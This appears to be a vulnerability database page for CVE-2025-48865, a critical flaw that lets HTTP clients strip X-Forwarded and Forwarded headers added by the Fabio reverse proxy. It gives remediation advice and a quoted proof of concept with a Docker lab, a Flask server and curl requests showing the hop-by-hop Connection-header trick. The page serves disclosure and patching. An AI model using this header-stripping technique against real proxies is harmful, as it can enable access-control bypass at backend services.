CVE-2025-48865: Github.com/fabiolb/fabio Fabio Allows HTTP Clients To Vulnerability

CRITICAL
Advisory Identifier: GHSA-q7p4-7xjv-j3wf
CVSS 9.1
CWE-345 CWE-348
Published
Advisory Summary

CVE-2025-48865 is a CRITICAL (CVSS 9.1) fabio allows http clients to vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Github.com/fabiolb/fabio libraries in the Go ecosystem. The issue involves fabio allows http clients to manipulate custom headers it adds. Remediation is available by upgrading affected packages to version 1.6.6.

CVE-2025-48865 at a Glance

CVE Identifier CVE-2025-48865
GHSA Identifier GHSA-q7p4-7xjv-j3wf
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Github.com/fabiolb/fabio
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-48865

To remediate this vulnerability, upgrade all affected Github.com/fabiolb/fabio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/fabiolb/fabio fixed: 1.6.6
Upgrade github.com/fabiolb/fabio to 1.6.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/fabiolb/fabio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-48865, inspect your project dependencies for Github.com/fabiolb/fabio:

inspect dependencies for github.com/fabiolb/fabio

Analyze the terminal output to locate any version of Github.com/fabiolb/fabio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Github.com/fabiolb/fabio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: ``` Connection: close, X-Forwarded-Host ``` Similar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik. ### Details It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded ### PoC The following docker-compose file was used for testing: ```yml version: '3' services: fabio: image: fabiolb/fabio ports: - "3000:9999" - "9998:9998" volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . ports: - "8080:8080" environment: - PYTHONUNBUFFERED=1 ``` The fabio.properties configuration: ``` proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/ ``` A Python container runs a simple HTTP server that logs received headers. The Dockerfile: ```dockerfile FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"] ``` Python Flask Server ```python from flask import Flask, request import sys import os sys.stdout.flush() sys.stderr.flush() os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") @app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def hello(): return f"Hello, World! Method: {request.method}" @app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def catch_all(path): return f"Caught path: {path}, Method: {request.method}" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True) ``` A normal HTTP request/response pair looks like this: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* Connection: keep-alive ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.11.12 Date: Thu, 22 May 2025 23:09:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 25 Connection: close Hello, World! Method: GET ``` Server Log ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1 backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* yeet: 123 Connection: keep-alive, Forwarded ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Content-Length: 25 Content-Type: text/html; charset=utf-8 Date: Thu, 22 May 2025 23:42:45 GMT Server: Werkzeug/3.1.3 Python/3.11.12 Hello, World! Method: GET ``` Server Logs ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` The response shows that Fabio's `Forwarded` header was removed from the request ### Impact If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass. This vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3) Stripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce). ### References - [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) - [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) - [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)

CVE-2025-48865 Affected Github.com/fabiolb/fabio Versions

1 component(s)
Fixed Versions:
1.6.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/fabiolb/fabio
Go
< 1.6.6
1.6.6

References

Frequently Asked Questions

What is CVE-2025-48865?
CVE-2025-48865 is a security vulnerability in Github.com/fabiolb/fabio involving Fabio allows HTTP clients to manipulate custom headers it adds under CWE-345: Insufficient Verification of Data Authenticity.
Which Github.com/fabiolb/fabio versions are affected?
Affected versions include releases prior to 1.6.6 across affected packages: github.com/fabiolb/fabio.
What version fixes CVE-2025-48865?
Upgrading to 1.6.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/fabiolb/fabio affected?
Yes, github.com/fabiolb/fabio is affected in releases prior to 1.6.6. Upgrade your dependency to 1.6.6 or later.
What is the CVSS score of CVE-2025-48865?
CVE-2025-48865 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2025-48865?
CVE-2025-48865 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check Go dependencies for CVE-2025-48865?
Run the dependency tree command: 'inspect dependencies for github.com/fabiolb/fabio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q7p4-7xjv-j3wf",
  "modified" : "2025-05-30T15:25:57Z",
  "published" : "2025-05-29T16:50:58Z",
  "aliases" : [ "CVE-2025-48865" ],
  "summary" : "Fabio allows HTTP clients to manipulate custom headers it adds",
  "details" : "### Summary\nFabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.\n\nFabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.\n\nHowever, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\n```\nConnection: close, X-Forwarded-Host\n```\n\nSimilar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik.\n\n### Details\nIt was found that the following headers can be removed in this way (i.e. by specifying them within a connection header):\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Real-Ip\n- Forwarded\n\n### PoC\nThe following docker-compose file was used for testing:\n```yml\nversion: '3'\nservices:\n  fabio:\n    image: fabiolb/fabio\n    ports:\n      - \"3000:9999\"\n      - \"9998:9998\"\n    volumes:\n      - ./fabio.properties:/etc/fabio/fabio.properties\n\n  backend:\n    build: .\n    ports:\n      - \"8080:8080\"\n    environment:\n      - PYTHONUNBUFFERED=1\n```\n\nThe fabio.properties configuration:\n```\nproxy.addr = :9999\nui.addr = :9998\nregistry.backend = static\nregistry.static.routes = route add service / http://backend:8080/\n```\n\nA Python container runs a simple HTTP server that logs received headers.\nThe Dockerfile:\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\nCOPY app.py .\n\nRUN pip install flask\n\nEXPOSE 8080\n\nCMD [\"python\", \"app.py\"]\n```\n\nPython Flask Server\n```python\nfrom flask import Flask, request\nimport sys\nimport os\n\nsys.stdout.flush()\nsys.stderr.flush()\nos.environ['PYTHONUNBUFFERED'] = '1'\n\napp = Flask(__name__)\n\n@app.before_request\ndef log_request_info():\n    print(\"HEADERS:\")\n    for header_name, header_value in request.headers:\n        print(f\"   {header_name}: {header_value}\")\n\n@app.route(\"/\", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])\ndef hello():\n    return f\"Hello, World! Method: {request.method}\"\n\n@app.route(\"/<path:path>\", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])\ndef catch_all(path):\n    return f\"Caught path: {path}, Method: {request.method}\"\n\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)\n```\n\nA normal HTTP request/response pair looks like this:\n#### Request \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nConnection: keep-alive\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \\\n    $'http://127.0.0.1:3000/'\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nServer: Werkzeug/3.1.3 Python/3.11.12\nDate: Thu, 22 May 2025 23:09:12 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 25\nConnection: close\n\nHello, World! Method: GET\n```\n\nServer Log\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nNext, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:\n#### Request\n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nyeet: 123\nConnection: keep-alive, Forwarded\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \\\n    $'http://127.0.0.1:3000/'\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nContent-Length: 25\nContent-Type: text/html; charset=utf-8\nDate: Thu, 22 May 2025 23:42:45 GMT\nServer: Werkzeug/3.1.3 Python/3.11.12\n\nHello, World! Method: GET\n```\n\nServer Logs\n```\nbackend-1  | HEADERS:\nbackend-1  |    Host: 127.0.0.1:3000\nbackend-1  |    User-Agent: curl/8.7.1\nbackend-1  |    Accept: */*\nbackend-1  |    X-Forwarded-For: 192.168.65.1\nbackend-1  |    X-Forwarded-Host: 127.0.0.1:3000\nbackend-1  |    X-Forwarded-Port: 3000\nbackend-1  |    X-Forwarded-Proto: http\nbackend-1  |    X-Real-Ip: 192.168.65.1\n```\n\nThe response shows that Fabio's `Forwarded` header was removed from the request\n\n### Impact\nIf the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.\n\nThis vulnerability has a critical severity rating similar to  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3)\n\nStripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce).\n\n### References\n-  [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) \n-  [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813)\n- [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/fabiolb/fabio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-48865"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fabiolb/fabio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fabiolb/fabio/releases/tag/v1.6.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-348" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-29T16:50:58Z",
    "nvd_published_at" : "2025-05-30T07:15:23Z"
  }
}